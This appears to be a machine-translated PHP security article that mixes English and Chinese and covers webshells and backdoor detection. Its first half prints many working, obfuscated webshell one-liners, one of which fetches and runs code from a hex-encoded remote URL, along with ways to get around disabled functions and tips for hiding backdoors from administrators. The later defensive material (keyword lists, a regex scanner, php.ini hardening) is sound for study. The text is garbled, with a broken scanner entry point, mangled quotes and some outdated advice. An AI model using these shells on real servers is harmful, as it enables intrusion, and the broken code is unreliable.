Home > Article > Backend Development > Detailed explanation of PHP security webshell and backdoor detection examples
PHP-based applications face a variety of attacks:
XSS: For PHP web applications, cross-site scripting is a vulnerable point. Attackers can use it to steal user information. You can configure Apache, or write more secure PHP code (validate all user input) to prevent XSS attacks
SQL injection: This is a PHP application, Vulnerable points at the database layer. The prevention methods are the same as above. A common method is to use mysql_real_escape_string() to escape parameters and then perform SQL queries.
File Upload: It allows visitors to place (i.e. upload) files on the server. This will cause a series of problems, such as deleting server files, databases, and obtaining user information. You can use PHP to prohibit file uploads, or write more secure code (such as verifying user input and only allowing uploading of image formats such as png and gif)
##Contains Local vs. Remote files: An attacker can cause a remote server to open a file, run any PHP code, and then upload or delete the file, installing a backdoor. You can prevent it by canceling the setting of remote file execution
eval/assert: This function can make a sectionStringExecute like PHP code. It is commonly used by attackers to hide code and tools on servers. By configuring PHP and canceling eval and other function calls to achieve
POST request, so that arbitrary commands can be executed. If it is controlled, it will be a serious problem
So we still have to pay attention to the security of the serverThe most popular kind of backdoor is called a one-sentence Trojan, and its form is as follows:<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "$cmd
"; die; } ?>This is easily detected by security software. In order to enhance concealment, various one-sentence Trojan deformations have appeared, disguised through various functions.
I have to complain that PHP weak types are fatal to security
a. Use<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?> //说明:请求参数 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==")) 最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>
<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?> //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
<?php $filename=$_GET['code'];include ($filename); ?> //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
<?php if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s? %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null); ?>
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
<?php assert($_POST[sb]);?>
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['iixosmse']);
<?php $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
<?php @$_++; // $_ = 1 $=("#"^"|"); // $ = _ $.=("."^"~"); // _P $.=("/"^"`"); // _PO $.=("|"^"/"); // _POS $.=("{"^"/"); // _POST ${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]); ?>
<?php $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="; $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"; $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe"); $jgfi = $ftdf("l","","lclrlelaltel_functlilon"); $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm(); ?>can use weevely Tools to generate, code disguised to avoid various mainstream anti-virus software
PHP backdoor generation tool weevelyweevely is a free software for PHP webshell, which can be used to simulate a Similar to the telnet connection shell, weevely is usually used to exploit vulnerabilities in web programs, hide backdoors or use a telnet-like method to replace web page management. The server-side PHP code generated by weevely is base64 encoded, so it can be deceived. Through mainstream anti-virus software and IDS, after uploading the server-side code, it can usually be run directly through weevely.weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
更常用的混淆视听的方法:(这种是服务器层面的混淆)
修改文件时间
改名融入上传后所在文件夹,让人无法直观看出文件异常
文件大小的伪装处理(至少看起大小像个正常脚本)
选好藏身路径并尽量少的访问
畸形目录%20
一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?
<?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?>
php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.
<?php $cb= 'system'; ob_start($cb); echo $_GET[c]; ob_end_flush(); ?>
php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等
直观寻找方式也有很多
通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
通过access.log访问日志分析
下面是360 zhujiweishi ,在linux服务器上非常简单好用
通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)
系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通过简单的python脚本
#!/usr/bin/env python # encoding: utf-8 import os,sys import re import hashlib import time rulelist = [ '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))', '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))', '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})', '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))', '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))', '(\$(\w+)\s*\(\s.chr\(\d+\)\))', '(\$(\w+)\s*\$\{(.*)\})', '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))', '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))', '(\$\_\=(.*)\$\_)', '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))', '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))', '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))', '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))', '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))', '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))', '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))', '(eval\s*\(\s*\(\s*\$\$(\w+))', '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))', '(preg\_replace\s*\((.*)\(base64\_decode\(\$)' ] def scan(path): print(' 可疑文件 ') print('*'*30) for root,dirs,files in os.walk(path): for filespath in files: if os.path.getsize(os.path.join(root,filespath))<1024000: file= open(os.path.join(root,filespath)) filestr = file.read() file.close() for rule in rulelist: result = re.compile(rule).findall(filestr) if result: print '文件:'+os.path.join(root,filespath ) print '恶意代码:'+str(result[0][0:200]) print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath))))) print '\n\n' break def md5sum(md5_file): m = hashlib.md5() fp = open(md5_file) m.update(fp.read()) return m.hexdigest() fp.close() if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477': if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b': pass else: print('*'*40) print "\033[31m sshd被修改,疑似留有后门\033[m" print('*'*40) time.sleep(5) if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55': if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838': pass else: print('*'*40) print "\033[31m sshd被修改,疑似留有后门\033[m" print('*'*40) time.sleep(5) if name=='main': if len(sys.argv)!=2: print '参数错误' print "\t按恶意代码查找:"+sys.argv[0]+'目录名' if os.path.lexists(sys.argv[1]) == False: print "目录不存在" exit() print ('\n\n开始查找:'+sys.argv[1]) if len(sys.argv) ==2: scan(sys.argv[1]) else: exit()
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
设置“safe_mode”为“on”
禁止“open_basedir” 可以禁止指定目录之外的文件操作
expose_php设为off 这样php不会在http文件头中泄露信息
设置“allow_url_fopen”为“off” 可禁止远程文件功能
log_errors”设为“on” 错误日志开启
所有用户提交的信息 post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
如用开源代码,有补丁出来的话,尽快打上补丁
如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny
The above is the detailed content of Detailed explanation of PHP security webshell and backdoor detection examples. For more information, please follow other related articles on the PHP Chinese website!